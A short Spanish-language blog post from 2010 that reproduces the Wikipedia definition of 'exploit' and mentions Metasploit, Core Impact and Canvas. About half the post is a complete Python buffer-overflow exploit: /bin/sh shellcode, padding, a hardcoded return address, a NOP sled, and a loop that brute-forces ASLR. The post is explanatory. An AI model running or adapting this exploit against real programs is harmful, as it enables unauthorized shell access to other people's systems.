jueves, 15 de abril de 2010

Exploit

Exploit (del inglés to exploit, explotar o aprovechar) es una pieza de software, un fragmento de datos, o una secuencia de comandos con el fin de automatizar el aprovechamiento de un error, fallo o vulnerabilidad, a fin de causar un comportamiento no deseado o imprevisto en los programas informáticos, hardware, o componente electrónico (por lo general computarizado). Con frecuencia, esto incluye cosas tales como la violenta toma de control de un sistema de cómputo o permitir la escalada de privilegios o un ataque de denegación de servicio. El fin del Exploit puede ser violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros.
Los Exploits pueden ser escritos empleando una diversidad de lenguajes de programación, aunque mayoritariamente se suele utilizar lenguaje C. También puede aprovecharse de distintos tipos de ataques tales como desbordamiento de búfer, Cross Site Scripting, Format Strings, Inyección SQL, entre otros.
Un ejemplo de un exploit, que se aprovecha de un desbordamiento de búfer escrito en lenguaje Python sería:
#!/usr/bin/env python
import os
import sys
import time
 
class Exploit:
 
   def __init__(self):
      if len(sys.argv) <> 2:
         print "\n[*] Usage: python exploit.py /path/binary\n"
         exit() 
      else:
         self.arg2=sys.argv[1]
         # Command=/bin/sh Size=24 bytes Bind=No         
         self.shellcode = ("\x99\x31\xc0\x52\x68\x6e\x2f\x73"
                           "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
                           "\x52\x53\x89\xe1\xb0\x0b\xcd\x80")                    
 
         self.payload  = '\x41'*1036            # Padding 0x41 (A)   
         self.payload += '\x70\x9b\x80\xbf'     # Magic Address -> 0xbf809b70
         self.payload += '\x90'*10000           # 0x90 (NOP) x 10000
         # The ASLR begin at the memory address 0xbf80010#i1
 
   def loop(self):
      print "\n[+] Starting Explotation...\n"
      time.sleep(2)
 
      while True:
         os.system(self.arg2 + ' ' + self.payload + self.shellcode)
 
"""Start execution"""
if __name__ == '__main__':
   union=Exploit()    
   conector=union.loop()
exit()
Una de las herramientas más utilizadas para trabajar con este tipo de software es Metasploit Framework, una plataforma de test de penetración escrita en lenguaje de programación Ruby, como así también otros frameworks como Core Impact, Canvas, entre otros.

Fuente: http://es.wikipedia.org/wiki/Exploit

0 comentarios:

Publicar un comentario